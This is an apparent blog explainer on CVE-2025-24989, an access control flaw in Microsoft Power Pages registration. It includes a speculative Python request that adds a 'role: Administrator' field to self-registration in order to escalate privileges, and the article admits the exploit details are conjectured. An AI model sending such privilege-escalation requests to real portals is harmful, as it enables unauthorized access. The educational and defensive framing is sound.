CVE-2025-24989 - Power Pages Improper Access Control Flaw Explained, With Exploit Details

In early 2025, security researchers found an improper access control vulnerability in Microsoft's Power Pages platform, tracked as CVE-2025-24989. This issue allowed unauthorized attackers to gain elevated privileges on impacted networks by bypassing the regular user registration controls. This long read breaks down what happened, how it worked, and everything you need to know—even if you aren’t a security expert.

What Is Power Pages?

Power Pages is a Microsoft service for quickly building secure websites with Dataverse data connections. Many organizations use it for external, internal, and portal-style apps.

Affected Area: User registration & access management

CVE-2025-24989 allowed attackers to abuse the registration page of Power Pages instances. Instead of going through the expected user registration flow (with checks like email verification), attackers could send crafted requests to register or access accounts with higher permissions, potentially even as administrators.

How Did The Exploit Work?

While Microsoft kept deep technical details private, security analysts have outlined the likely steps used by attackers.

Here’s a conceptual code snippet illustrating how a bypass might happen

import requests

# Assume registration POST endpoint
url = "https://victim-portal.powerappsportals.com/_services/register";

# Malicious payload crafted to set a high privilege role
payload = {
    "email": "attacker@example.com",
    "password": "StrongPassword!123",
    "role": "Administrator"  # Intended to escalate privileges
}

# No auth headers needed
response = requests.post(url, data=payload)

print(response.status_code)
print(response.text)

In this scenario

- The attacker sends registration data, but manually adds a role parameter (which the endpoint *should* ignore or restrict).
- Due to improper access control, the endpoint accepts this and grants higher privileges than intended.

Why Did This Happen?

The flaw results from insufficient checks in the server-side registration logic. Specifically, missing validation about the assigned role, and not limiting which attributes a new user can set at registration time. If registration controls only validate on the client (browser/form), attackers can bypass this with direct HTTP requests.

Official References

- Microsoft Security Update Guide - CVE-2025-24989
- Power Pages Documentation
- MSRC Blog: CVE-2025-24989 Mitigation Announcement (June 2025)

What Did Microsoft Do?

- Mitigation released service-side. Customers did not need to patch anything, but changes were rolled out centrally.

Are You Affected?

If you were not notified by Microsoft, you are not affected. All customers who needed to take action received direct instructions.

How To Prevent Similar Flaws

- Strict Server-side Validation: Only allow role assignment by trusted admins, not self-registration.

Conclusion

CVE-2025-24989 is a reminder of the importance of robust access control—especially for platforms exposed to the internet. Luckily, this specific flaw was addressed quickly, and Microsoft’s proactive communication minimized risk for most users.

If you build or manage web platforms, always validate user input on the server.

- Regularly audit your user/role management processes.


For deeper reading, check the original CVE-2025-24989 entry and Power Pages security guidance.

Timeline

Published on: 02/19/2025 23:15:15 UTC
Last modified on: 02/22/2025 02:00:01 UTC